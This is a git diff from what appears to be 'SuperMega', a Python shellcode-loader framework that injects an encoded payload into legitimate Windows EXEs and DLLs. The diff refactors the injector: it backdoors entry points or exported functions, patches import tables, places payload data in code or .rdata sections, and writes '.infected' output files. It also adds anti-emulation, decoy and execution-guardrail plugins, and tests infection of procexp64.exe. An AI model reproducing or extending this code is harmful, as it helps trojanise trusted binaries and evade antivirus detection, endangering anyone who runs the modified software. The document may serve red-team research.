injected_fix_data(superpe, carrier) - - # changes from console to UI (no console window) if necessary - superpe.patch_subsystem() - - # We done - logger.info("--( Write to file: {}".format(exe_out)) - superpe.write_pe_to_file(exe_out) - - # Log - code = file_readall_binary(exe_out) - in_code = code[shellcode_offset:shellcode_offset+shellcode_len] - observer.add_code_file("carrier_exe", in_code) + # to find space for carrier and payload + # for some combination of settings HACK + self.payload_rva = None + self.carrier_rva = None + self.init_addresses() -def injected_fix_iat(superpe: SuperPe, carrier: Carrier): - """replace IAT-placeholders in shellcode with call's to the IAT""" - code = superpe.get_code_section_data() - for iatRequest in carrier.get_all_iat_requests(): - if not iatRequest.placeholder in code: - raise Exception("IatResolve ID {} not found, abort".format(iatRequest.placeholder)) - offset_from_code = code.index(iatRequest.placeholder) + def init_addresses(self): + rm = self.superpe.get_code_rangemanager() + + # TECHNIQUE0: + # assume payload is big, find a place for it, then prepend carrier (small) + complete_size = len(self.carrier_shc) + len(self.payload.payload_data) + 4096 + + largest_gap = rm.find_holes(complete_size) + if len(largest_gap) == 0: + raise Exception('No hole found in code section to fit payload!') + largest_gap_size = largest_gap[0][1] - largest_gap[0][0] + + # align to center + offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section + offset += largest_gap[0][0] + + if self.settings.carrier_name == "dll_loader_change": + # Align to page size + offset = offset & 0xFFFFF000 + + # page aligned possibly + self.payload_rva = offset + + # prepend it a bit + self.carrier_rva = offset - len(self.payload.payload_data) - 4096 + + + ## Inject + + def inject_exe(self): + exe_in = self.settings.inject_exe_in + exe_out = self.settings.inject_exe_out + carrier_invoke_style: CarrierInvokeStyle = self.settings.carrier_invoke_style + + logger.info("-[ Injecting: into {} -> {}".format(exe_in, exe_out)) + + # Patch IAT (if necessary and wanted) + self.injectable_patch_iat() + + carrier_shc_len = len(self.carrier_shc) + carrier_offset: int = 0 # file offset + + # Special case: DLL exported function direct overwrite + if self.superpe.is_dll() and self.settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: + logger.warning("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc)) + rva = self.superpe.getExportEntryPoint(self.settings.dllfunc) + + # Size and sanity checks + function_size = self.superpe.get_size_of_exported_function(self.settings.dllfunc) + if carrier_shc_len >= function_size: + logger.warning("Shellcode larger than function: {} > {} exported function {}".format( + carrier_shc_len, function_size, self.settings.dllfunc + )) + + # Inject + carrier_offset = self.superpe.get_offset_from_rva(rva) + logger.info(f'----[ Using DLL Export "{self.settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_offset:X} to overwrite') + self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc) + + else: # EXE/DLL + carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva) + logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format( + self.carrier_rva, carrier_offset)) + + # Copy the carrier + self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc) + + # rewire flow to the carrier + if self.superpe.is_dll() and self.settings.dllfunc != "": # DLL + if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: + # Handled above + raise Exception("We should not land here") + + elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: + addr = self.superpe.getExportEntryPoint(self.settings.dllfunc) + logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format( + self.settings.dllfunc, addr)) + self.function_backdoorer.backdoor_function( + addr, self.carrier_rva, carrier_shc_len) + + else: # EXE + if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: + logger.info("---( Inject EXE: Change Entry Point to 0x{:X}".format( + self.carrier_rva)) + self.superpe.set_entrypoint(self.carrier_rva) + + elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: + addr = self.superpe.get_entrypoint() + logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format( + addr)) + self.function_backdoorer.backdoor_function( + addr, self.carrier_rva, carrier_shc_len) + + logger.info("--( Fix imports and make carrier reference IAT") + self.injectable_write_iat_references() + logger.info("--( Insert and reference carrier data") + self.inject_and_reference_data() + + # changes from console to UI (no console window) if necessary + self.superpe.patch_subsystem() + + # We done + logger.info("--( Write to file: {}".format(exe_out)) + self.superpe.write_pe_to_file(exe_out) + + # Log + code = file_readall_binary(exe_out) + in_code = code[carrier_offset:carrier_offset+carrier_shc_len] + observer.add_code_file("carrier_exe", in_code) + + + def injectable_patch_iat(self): + # Patch IAT (if necessary and wanted) + for iatRequest in self.injectable.get_all_iat_requests(): + # skip available + addr = self.superpe.get_vaddr_of_iatentry(iatRequest.name) + if addr != None: + logger.info("---[ Request IAT {} is available at 0x{:X}".format( + iatRequest.name, addr)) + continue + iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name) + + if not self.settings.fix_missing_iat: + raise Exception("Error: {} not available, but fix_missing_iat is False".format( + iatRequest.name)) + # do the patch + self.superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name) + #logger.info(" Unavailable IAT {} now patched".format( + # iatRequest.name)) + # we modify the IAT raw, so reparsing is required + self.superpe.pe.parse_data_directories() + self.superpe.init_iat_entries() + + + def injectable_write_iat_references(self): + """replace IAT-placeholders in shellcode with call's to the IAT""" + code = self.superpe.get_code_section_data() + for iatRequest in self.injectable.get_all_iat_requests(): + for placeholder in iatRequest.references: + if not placeholder in code: + raise Exception("IatResolve ID {} not found, abort".format(placeholder)) + offset_from_code = code.index(placeholder) + + # Note that the SuperPe may already have been patched for new IAT imports + destination_virtual_address = self.superpe.get_vaddr_of_iatentry(iatRequest.name) + if destination_virtual_address == None: + raise Exception("IatResolve: Function {} not found".format(iatRequest.name)) + + instruction_virtual_address = offset_from_code + self.injectable.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress + logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X} ({})".format( + placeholder.hex(), + instruction_virtual_address, + destination_virtual_address, + iatRequest.name + )) + jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address) + if len(jmp) != len(placeholder): + raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format( + len(jmp), len(placeholder) + )) + code = code.replace(placeholder, jmp) + + self.superpe.write_code_section_data(code) + + + def inject_and_reference_data(self): + """Inject data into .rdata/.text and replace reusedata_fixup placeholders in code with LEA""" + reusedata_fixups: List[DataReuseEntry] = self.injectable.get_all_reusedata_fixups() + if len(reusedata_fixups) == 0: + # nothing todo + return - # Note that the SuperPe may already have been patched for new IAT imports - destination_virtual_address = superpe.get_vaddr_of_iatentry(iatRequest.name) - if destination_virtual_address == None: - raise Exception("IatResolve: Function {} not found".format(iatRequest.name)) + shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva) - instruction_virtual_address = offset_from_code + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress - logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X}".format( - iatRequest.placeholder.hex(), instruction_virtual_address, destination_virtual_address - )) - jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address) - if len(jmp) != len(iatRequest.placeholder): - raise Exception("IatResolve: Call to IAT has different length than placeholder, abort") - code = code.replace(iatRequest.placeholder, jmp) + # insert data + logger.info("---( DataReuseFixups: Inject the data") + for datareuse_fixup in reusedata_fixups: + logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format( + datareuse_fixup.string_ref, datareuse_fixup.in_code)) - superpe.write_code_section_data(code) + if datareuse_fixup.in_code: # .text + self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data) + payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset) + datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base() + logging.info(" Add to .text at 0x{:X} ({}): {} with size {}".format( + datareuse_fixup.addr, payload_rva, datareuse_fixup.string_ref, len(datareuse_fixup.data))) + else: # .rdata + rdata_manager = self.superpe.get_rdata_rangemanager() + # get a hole in the .rdata section to put our data + hole_rva = rdata_manager.find_hole(len(datareuse_fixup.data)) + if hole_rva == None: + raise Exception("No suitable hole with size {} found in .rdata section, abort".format( + len(datareuse_fixup.data) + )) + rdata_manager.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used -def injected_fix_data(superpe: SuperPe, carrier: Carrier): - """Inject shellcode-data into .rdata and replace reusedata_fixup placeholders in code with LEA""" - # Insert my data into the .rdata section. - # Chose and save each datareuse_fixup's addres. - reusedata_fixups: List[DataReuseEntry] = carrier.get_all_reusedata_fixups() - if len(reusedata_fixups) == 0: - # nothing todo - return - - # Put stuff into .rdata section in the PE - peSection = carrier.superpe.get_section_by_name(".rdata") - if peSection == None: - raise Exception("No .rdata section found, abort") - - rm = carrier.superpe.get_rdata_relocmanager() + var_data = datareuse_fixup.data + data_rva = hole_rva[0] + self.superpe.pe.set_bytes_at_rva(data_rva, var_data) + datareuse_fixup.addr = data_rva + self.injectable.superpe.get_image_base() + logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format( + datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data))) - if True: # FIXME this is a hack which is sometimes necessary - sect_data_copy = peSection.pefile_section.get_data() - string_off = find_first_utf16_string_offset(sect_data_copy) - if string_off == None: - raise Exception("Strings not found in .rdata section, abort") - if string_off < 128: - logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off)) - string_off = 128 - rm.add_range(peSection.virt_addr, peSection.virt_addr + string_off) + # replace the placeholder in .text with a LEA instruction to the data we written above + logger.info("---( Datareusefixups: patch code to reference the data") + code = self.superpe.get_code_section_data() + for datareuse_fixup in reusedata_fixups: + ref: DataReuseReference + for ref in datareuse_fixup.references: + if not ref.placeholder in code: + raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format( + ref.placeholder.hex(), datareuse_fixup.string_ref)) + + offset_from_datasection = code.index(ref.placeholder) + instruction_virtual_address = offset_from_datasection + self.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress + destination_virtual_address = datareuse_fixup.addr + logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format( + ref.placeholder.hex(), instruction_virtual_address, ref.register, destination_virtual_address + )) + lea = assemble_lea( + instruction_virtual_address, destination_virtual_address, ref.register + ) + asm_disasm(lea, instruction_virtual_address) # DEBUG + if len(lea) != len(ref.placeholder): + raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format( + len(lea), len(ref.placeholder) + )) + code = code.replace(ref.placeholder, lea) - # Do all .rdata patches - logger.info("---( Patch: .rdata") - for datareuse_fixup in reusedata_fixups: - logger.info(" Handling DataReuse Fixup: {} <- {}".format( - datareuse_fixup.string_ref, datareuse_fixup.randbytes.hex())) - - # get a hole in the .rdata section to put our data - hole_rva = rm.find_hole(len(datareuse_fixup.data)) - if hole_rva == None: - raise Exception("No suitable hole with size {} found in .rdata section, abort".format( - len(datareuse_fixup.data) - )) - rm.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used - - var_data = datareuse_fixup.data - data_rva = hole_rva[0] - superpe.pe.set_bytes_at_rva(data_rva, var_data) - datareuse_fixup.addr = data_rva + carrier.superpe.get_image_base() - logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format( - datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data))) - - # patch code section - # replace the placeholder with a LEA instruction to the data we written above - logger.info("---( Patch: .text") - code = superpe.get_code_section_data() - for datareuse_fixup in reusedata_fixups: - if not datareuse_fixup.randbytes in code: - raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format( - datareuse_fixup.randbytes.hex(), datareuse_fixup.string_ref)) - - offset_from_datasection = code.index(datareuse_fixup.randbytes) - instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress - destination_virtual_address = datareuse_fixup.addr - logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format( - datareuse_fixup.randbytes.hex(), instruction_virtual_address, datareuse_fixup.register, destination_virtual_address - )) - lea = assemble_lea( - instruction_virtual_address, destination_virtual_address, datareuse_fixup.register - ) - asm_disasm(lea, instruction_virtual_address) # DEBUG - if len(lea) != len(datareuse_fixup.randbytes): - raise Exception("IatResolve: Call to IAT has different length than placeholder, abort") - code = code.replace(datareuse_fixup.randbytes, lea) - - superpe.write_code_section_data(code) + self.superpe.write_code_section_data(code) def verify_injected_exe(exefile: FilePath, dllfunc="") -> int: @@ -251,5 +292,3 @@ def verify_injected_exe(exefile: FilePath, dllfunc="") -> int: else: logger.error("---> Verify FAIL. Infected exe does not work (no file created)") return 1 - - diff --git a/phases/masmshc.py b/phases/masmshc.py index 35a393b..6c9aeed 100644 --- a/phases/masmshc.py +++ b/phases/masmshc.py @@ -100,7 +100,7 @@ def masm_shc(asm_text_lines: List[str]) -> str: g_is32bit = True if tokens[0] == "EXTRN": - print(f"[ERROR] Line {line_count + 1}: External dependency detected:\n{line}") + raise Exception(f"[ERROR] Line {line_count + 1}: External dependency detected:\n{line}") in_skipped = False in_const = False @@ -127,7 +127,7 @@ def masm_shc(asm_text_lines: List[str]) -> str: logger.debug("[INFO] Entry Point: AlignRSP") if seg_name == "_BSS": - logger.error(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n") + raise Exception(f"[ERROR] Line {line_count + 1}: _BSS segment detected! Remove all global and static variables!\n") if seg_name in ("pdata", "xdata", "voltbl"): in_skipped = True @@ -145,7 +145,7 @@ def masm_shc(asm_text_lines: List[str]) -> str: if tokens[1] in ("LIBCMT", "OLDNAMES"): ofile.write(f"; {line}\n") # copy commented out line continue - print(f"[ERROR] Line {line_count + 1}: INCLUDELIB detected! Remove all external dependencies!\n") + raise Exception(f"[ERROR] Line {line_count + 1}: INCLUDELIB detected! Remove all external dependencies!\n") if params.inline_strings and in_const: if tokens[1] == "DB": diff --git a/phases/templater.py b/phases/templater.py index 067877d..312fab8 100644 --- a/phases/templater.py +++ b/phases/templater.py @@ -23,12 +23,31 @@ def get_template_names() -> List[str]: def create_c_from_template(settings: Settings, payload_len: int): - logger.info("--( Create C from template: {} -> {}".format( + logger.info("-( Create C from template: {} -> {}".format( PATH_DECODER, settings.main_c_path)) plugin_decoder = "" - # Decoder - filepath_decoder = PATH_DECODER + "{}.c".format(settings.decoder_style.value) + # Plugin: VirtualAlloc + filepath_virtualprotect = PATH_VIRTUALPROTECT + "{}.c".format( + settings.plugin_virtualprotect) + with open(filepath_virtualprotect, "r", encoding='utf-8') as file: + plugin_virtualprotect = file.read() + plugin_virtualprotect = Template(plugin_virtualprotect).render({ + 'virtualprotect_data': settings.plugin_virtualprotect_data, + }) + + # Plugin: Execution Guardrails + filepath_guardrails = PATH_GUARDRAILS + "{}.c".format( + settings.plugin_guardrail) + with open(filepath_guardrails, "r", encoding='utf-8') as file: + plugin_guardrails = file.read() + plugin_guardrails = Template(plugin_guardrails).render({ + 'guardrail_data': settings.plugin_guardrail_data, + }) + + # Plugin: Decoder + filepath_decoder = PATH_DECODER + "{}.c".format( + settings.decoder_style) with open(filepath_decoder, "r", encoding='utf-8') as file: plugin_decoder = file.read() plugin_decoder = Template(plugin_decoder).render({ @@ -37,16 +56,35 @@ def create_c_from_template(settings: Settings, payload_len: int): 'XOR_KEY2': ascii_to_hex_bytes(config.xor_key2), }) - # Choose correct template + # Plugin: Anti-Emulation + filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format( + settings.plugin_antiemulation) + with open(filepath_antiemulation, "r", encoding='utf-8') as file: + plugin_antiemualation = file.read() + plugin_antiemualation = Template(plugin_antiemualation).render({ + 'PAYLOAD_LEN': payload_len, + }) + + # Plugin: Decoy + filepath_decoy = PATH_DECOY + "{}.c".format( + settings.plugin_decoy) + with open(filepath_decoy, "r", encoding='utf-8') as file: + plugin_decoy = file.read() + + # Choose template dirpath = PATH_CARRIER + settings.carrier_name + "/template.c" with open(dirpath, 'r', encoding='utf-8') as file: template_content = file.read() observer.add_text_file("main_c_template", template_content) - + # Render template template = Template(template_content) rendered_template = template.render({ 'plugin_decoder': plugin_decoder, + 'plugin_antiemulation': plugin_antiemualation, + 'plugin_decoy': plugin_decoy, + 'plugin_executionguardrail': plugin_guardrails, 'PAYLOAD_LEN': payload_len, + 'plugin_virtualprotect': plugin_virtualprotect, }) with open(settings.main_c_path, "w", encoding='utf-8') as file: file.write(rendered_template) diff --git a/relokator.py b/relokator.py deleted file mode 100644 index 113fc19..0000000 --- a/relokator.py +++ /dev/null @@ -1,44 +0,0 @@ -import sys - -from model.defs import * -from pe.superpe import SuperPe - - -def main(filename: str, current_base: int): - print("Handling: {}".format(filename)) - superpe = SuperPe(filename) - - r = {} - relocation: PeRelocEntry - for relocation in superpe.get_base_relocs(): - if relocation.base_rva in r: - r[relocation.base_rva] += 1 - else: - r[relocation.base_rva] = 1 - - #print("Base: 0x{:X} RVA: 0x{:X} Offset: {} Type: {}".format( - # relocation.base_rva, - # relocation.rva, - # relocation.offset, - # relocation.type, - #)) - - sum = 0 - for base, count in r.items(): - print("0x{:X}: {}".format(base, count)) - sum += count - print("Sum: {}".format(sum)) - - print("Image Base : 0x{:X}".format(superpe.get_image_base())) - print("Current Base: 0x{:X}".format(current_base)) - - -if __name__ == "__main__": - if len(sys.argv) != 3: - print("./relokator ") - exit(1) - - filename = sys.argv[1] - current_base = int(sys.argv[2], 16) - main(filename, current_base) - diff --git a/supermega.py b/supermega.py index a122c6d..67aad9f 100644 --- a/supermega.py +++ b/supermega.py @@ -1,4 +1,3 @@ -import shutil import argparse from typing import Dict import os @@ -12,19 +11,21 @@ import phases.compiler import phases.assembler import phases.injector from observer import observer -from pe.pehelper import extract_code_from_exe_file_ep +from pe.pehelper import preload_dll from sender import scannerDetectsBytes from model.project import Project, prepare_project from model.settings import Settings from model.defs import * from log import setup_logging -from model.carrier import Carrier, DataReuseEntry, IatRequest +from model.injectable import DataReuseEntry +from utils import check_deps def main(): """Argument parsing for when called from command line""" logger.info("Super Mega") config.load() + check_deps() settings = Settings() parser = argparse.ArgumentParser(description='SuperMega shellcode loader') @@ -55,12 +56,7 @@ def main(): if args.carrier: settings.carrier_name = args.carrier if args.decoder: - if args.decoder == "plain_1": - settings.decoder_style = DecoderStyle.PLAIN_1 - elif args.decoder == "xor_1": - settings.decoder_style = DecoderStyle.XOR_1 - elif args.decoder == "xor_2": - settings.decoder_style = DecoderStyle.XOR_2 + settings.decoder_style = args.decoder if args.inject: if args.carrier_invoke == "eop": settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint @@ -84,6 +80,10 @@ def main(): logger.info("Could not find: {}".format(args.inject)) return settings.inject_exe_in = args.inject + settings.inject_exe_out = "{}{}".format( + settings.main_dir, + os.path.basename(args.inject).replace(".exe", ".injected.exe") + ) settings.inject_exe_out = args.inject.replace(".exe", ".infected.exe").replace(".dll", ".infected.dll") write_webproject("default", settings) @@ -109,7 +109,7 @@ def start(settings: Settings) -> int: prepare_project(settings.project_name, settings) # Do the thing and catch the errors - if False: + if True: start_real(settings) else: try: @@ -137,26 +137,37 @@ def start_real(settings: Settings): project.init() # CHECK if 64 bit - if not project.carrier.superpe.is_64(): + if not project.injectable.superpe.is_64(): raise Exception("Binary is not 64bit: {}".format(project.settings.inject_exe_in)) logger.info("--[ Config: {} {} {} {}".format( project.settings.carrier_name, settings.payload_location.value, - project.settings.decoder_style.value, + project.settings.decoder_style, project.settings.carrier_invoke_style.value)) - # CREATE: Carrier C source files from template (C->C) - phases.templater.create_c_from_template(settings, project.payload.len) + logger.info("--[ Plugins: AntiEmulation={} Decoy={} Guardrail={}".format( + project.settings.plugin_antiemulation, + project.settings.plugin_decoy, + project.settings.plugin_guardrail) + ) + + # FIXUP DLL Payload + # Prepare DLL payload for usage in dll_loader_change + # This needs to be done before rendering the C templates, as need + # the real size of the payload + if project.settings.carrier_name == "dll_loader_change": + project.payload.payload_data = preload_dll(project.payload.payload_path) + + # CREATE: Carrier C source files from template (C->C) + phases.templater.create_c_from_template(settings, len(project.payload.payload_data)) - # If we put the payload into .rdata # PREPARE DataReuseEntry for usage in Compiler/AsmTextParser - if settings.payload_location == PayloadLocation.DATA: - logger.info("--[ Load payload for use in .rdata injection") - project.carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload")) - entry = project.carrier.get_reusedata_fixup("supermega_payload") - entry.data = phases.assembler.encode_payload( - project.payload.payload_data, settings.decoder_style) # encrypt + # So the carrier is able to find the payload + project.injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload", in_code=True)) + entry = project.injectable.get_reusedata_fixup("supermega_payload") + entry.data = phases.assembler.encode_payload( + project.payload.payload_data, settings.decoder_style) # encrypt observer.add_code_file("payload", project.payload.payload_data) # COMPILE: Carrier to .asm (C -> ASM) @@ -164,17 +175,14 @@ def start_real(settings: Settings): phases.compiler.compile( c_in = settings.main_c_path, asm_out = settings.main_asm_path, - carrier = project.carrier, + injectable = project.injectable, settings = project.settings) # we have the carrier-required IAT entries in carrier.iat_requests # CHECK if all are available in infectable, or abort (early check) - functions = project.carrier.get_unresolved_iat() - if len(functions) != 0: - if settings.fix_missing_iat: - logger.info("--[ Fixing missing IAT entries: {}".format(", ".join(functions))) - else: - raise Exception("IAT entry not found: {}".format(", ".join(functions))) + functions = project.injectable.get_unresolved_iat() + if len(functions) != 0 and settings.fix_missing_iat == False: + raise Exception("IAT entry not found: {}".format(", ".join(functions))) # ASSEMBLE: Assemble .asm to .shc (ASM -> SHC) if settings.generate_shc_from_asm: @@ -183,29 +191,14 @@ def start_real(settings: Settings): build_exe = settings.main_exe_path) observer.add_code_file("carrier_shc", carrier_shellcode) - # MERGE: shellcode/loader with payload (SHC + PAYLOAD -> SHC) - if settings.payload_location == PayloadLocation.CODE: - logger.info("--[ Merge carrier with payload for .text injection".format()) - full_shellcode = phases.assembler.merge_loader_payload( - shellcode_in = carrier_shellcode, - payload_data = project.payload.payload_data, - decoder_style = settings.decoder_style) - #observer.add_code_file("full_shc", full_shellcode) - else: - # shellcode is in .rdata, so we dont need to merge - full_shellcode = carrier_shellcode - - # RWX Injection (optional): obfuscate loader+payload - #if project.exe_host.rwx_section != None: - # logger.info("--[ RWX section {} found. Will obfuscate loader+payload and inject into it".format( - # project.exe_host.rwx_section.Name.decode().rstrip('\x00') - # )) - # obfuscate_shc_loader(settings.main_shc_path, settings.main_shc_path + ".sgn") - # observer.add_code_file("payload_sgn", file_readall_binary(settings.main_shc_path + ".sgn")) - # shutil.move(settings.main_shc_path + ".sgn", settings.main_shc_path) - - # inject (merged) loader into an exe. Big task. - phases.injector.inject_exe(full_shellcode, settings, project.carrier) + # INJECT loader into an exe and do IAT & data references. Big task. + injector = phases.injector.Injector( + carrier_shellcode, + project.payload, + project.injectable, + settings) + + injector.inject_exe() #observer.add_code_file("exe_final", extract_code_from_exe_file_ep(settings.inject_exe_out, 300)) # Check binary with avred diff --git a/tester.py b/tester.py index db44e82..f7d6dbd 100644 --- a/tester.py +++ b/tester.py @@ -11,15 +11,45 @@ from model.project import prepare_project def main(): - logger.info("Super Mega Tester") + logger.info("Super Mega Tester: " + os.path.dirname(VerifyFilename)) config.load() + if not os.path.exists(os.path.dirname(VerifyFilename)): + print("{} directory does not exist".format(os.path.dirname(VerifyFilename))) + return + + test_dll_loader() test_exe_code() test_exe_data() test_dll_code() test_dll_data() +def test_dll_loader(): + print("Testing: DLL Loader") + settings = Settings("unittest") + settings.payload_path = PATH_SHELLCODES + "createfile.dll" + settings.verify = True + settings.try_start_final_infected_exe = False + settings.payload_location = PayloadLocation.CODE + + print("Test DLL Loader 1/2: procexp, backdoor main, dll loader alloc") + settings.carrier_name = "dll_loader_alloc" + settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint + settings.inject_exe_in = PATH_EXES + "procexp64.exe" + settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe" + if start(settings) != 0: + print("Error") + + print("Test DLL Loader 2/2: procexp, backdoor main, dll loader change") + settings.carrier_name = "dll_loader_change" + settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint + settings.inject_exe_in = PATH_EXES + "procexp64.exe" + settings.inject_exe_out = PATH_EXES + "procexp64.verify.exe" + if start(settings) != 0: + print("Error") + + def test_exe_code(): print("Testing: EXEs: Inject payload into .text") settings = Settings("unittest") @@ -220,6 +250,6 @@ def dll_iat_reuse(): if __name__ == "__main__": - #setup_logging(level=logging.INFO) - setup_logging(level=logging.WARNING) + setup_logging(level=logging.INFO) + #setup_logging(level=logging.WARNING) main() diff --git a/tests/test_asmparser.py b/tests/test_asmparser.py index 1a77c89..be24016 100644 --- a/tests/test_asmparser.py +++ b/tests/test_asmparser.py @@ -3,7 +3,7 @@ import unittest import logging from model.defs import * -from model.carrier import Carrier, DataReuseEntry +from model.injectable import Injectable, DataReuseEntry from observer import observer from helper import * from phases.asmtextparser import parse_asm_text_file @@ -25,11 +25,11 @@ class AsmTest(unittest.TestCase): def test_asm_fixup(self): asm_in: FilePath = "tests/data/peb_walk_pre_fixup.asm" asm_text = file_readall_text(asm_in) - carrier = Carrier("fake.exe") - carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload")) + injectable = Injectable("fake.exe") + injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload")) settings: Settings = Settings() settings.payload_location = PayloadLocation.DATA - asm_text_lines = parse_asm_text_file(carrier, asm_text, settings) + asm_text_lines = parse_asm_text_file(injectable, asm_text, settings) # cmp DWORD PTR n$1[rsp], 11223344 ; 00ab4130H # cmp DWORD PTR n$1[rsp], 272 ; 00ab4130H @@ -42,30 +42,26 @@ class AsmTest(unittest.TestCase): # lea r8, [shcstart] #self.assertTrue("lea r8, [shcstart]" in asm_text_lines[198-1-1]) self.assertTrue("DB 0" in asm_text_lines[198-1-1]) - self.assertTrue("supermega_payload" not in asm_text_lines[198-1-1]) - - # shcstart: - self.assertTrue("shcstart:" in asm_text_lines[213-1-1]) def test_asm_iat_request(self): asm_in: FilePath = "tests/data/iat_reuse_pre_fixup.asm" asm_text = file_readall_text(asm_in) - carrier = Carrier("fake.exe") - carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload")) + injectable = Injectable("fake.exe") + injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload")) settings: Settings = Settings() settings.payload_location = PayloadLocation.DATA - asm_text_lines = parse_asm_text_file(carrier, asm_text, settings) + asm_text_lines = parse_asm_text_file(injectable, asm_text, settings) - self.assertEqual(len(carrier.iat_requests), 2) + self.assertEqual(len(injectable.iat_requests), 2) - req1 = carrier.iat_requests[0] + req1 = injectable.iat_requests[0] self.assertEqual(req1.name, "GetEnvironmentVariableW") - self.assertTrue(len(req1.placeholder), 6) # 6 random bytes + self.assertTrue(len(req1.references[0]), 6) # 6 random bytes - req2 = carrier.iat_requests[1] + req2 = injectable.iat_requests[1] self.assertEqual(req2.name, "VirtualAlloc") - self.assertTrue(len(req2.placeholder), 6) # 6 random bytes + self.assertTrue(len(req2.references[0]), 6) # 6 random bytes # added ; at the beginning #self.assertTrue(lines[13-1].startswith("; EXTRN __imp_GetEnvironmentVariableW:PROC")) @@ -83,22 +79,22 @@ class AsmTest(unittest.TestCase): def test_data_reuse_entries(self): asm_in = "tests/data/data_reuse_pre_fixup.asm" asm_text = file_readall_text(asm_in) - carrier = Carrier("fake.exe") - carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload")) + injectable = Injectable("fake.exe") + injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload")) settings: Settings = Settings() settings.payload_location = PayloadLocation.DATA - asm_text_lines = parse_asm_text_file(carrier, asm_text, settings) + asm_text_lines = parse_asm_text_file(injectable, asm_text, settings) asm_text = masm_shc(asm_text_lines) # optional here - data_reuse_entries = carrier.get_all_reusedata_fixups() + data_reuse_entries = injectable.get_all_reusedata_fixups() self.assertEqual(2+1, len(data_reuse_entries)) entry = data_reuse_entries[0+1] self.assertTrue('$SG72513' in entry.string_ref) - self.assertTrue('rcx' in entry.register) + self.assertTrue('rcx' in entry.references[0].register) self.assertEqual(entry.data, b"U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00\x00\x00") self.assertEqual(entry.addr, 0) - self.assertEqual(7, len(entry.randbytes)) # needs to be 7! + self.assertEqual(7, len(entry.references[0].placeholder)) # needs to be 7! entry = data_reuse_entries[1+1] self.assertTrue('$SG72514' in entry.string_ref) @@ -108,11 +104,11 @@ class AsmTest(unittest.TestCase): asm_in = "tests/data/data_reuse_pre_fixup.asm" asm_text = file_readall_text(asm_in) - carrier = Carrier("fake.exe") - carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload")) + injectable = Injectable("fake.exe") + injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload")) settings: Settings = Settings() settings.payload_location = PayloadLocation.DATA - asm_text_lines = parse_asm_text_file(carrier, asm_text, settings) + asm_text_lines = parse_asm_text_file(injectable, asm_text, settings) # why -1 -1?? self.assertTrue("\tDB " in asm_text_lines[108-1-1]) diff --git a/tests/test_datareuse.py b/tests/test_datareuse.py index 316c55d..0e1ef93 100644 --- a/tests/test_datareuse.py +++ b/tests/test_datareuse.py @@ -38,7 +38,7 @@ class DataReuseTest(unittest.TestCase): def test_relocation_list(self): superpe = SuperPe(PATH_EXES + "7z.exe") relocs = superpe.get_relocations_for_section(".rdata") - self.assertEqual(842, len(relocs)) + self.assertEqual(836, len(relocs)) reloc = relocs[0] self.assertEqual(393216, reloc.base_rva) self.assertEqual(394296, reloc.rva) @@ -49,19 +49,19 @@ class DataReuseTest(unittest.TestCase): def test_relocmanager(self): """Test reference EXE reloc manager information""" superpe = 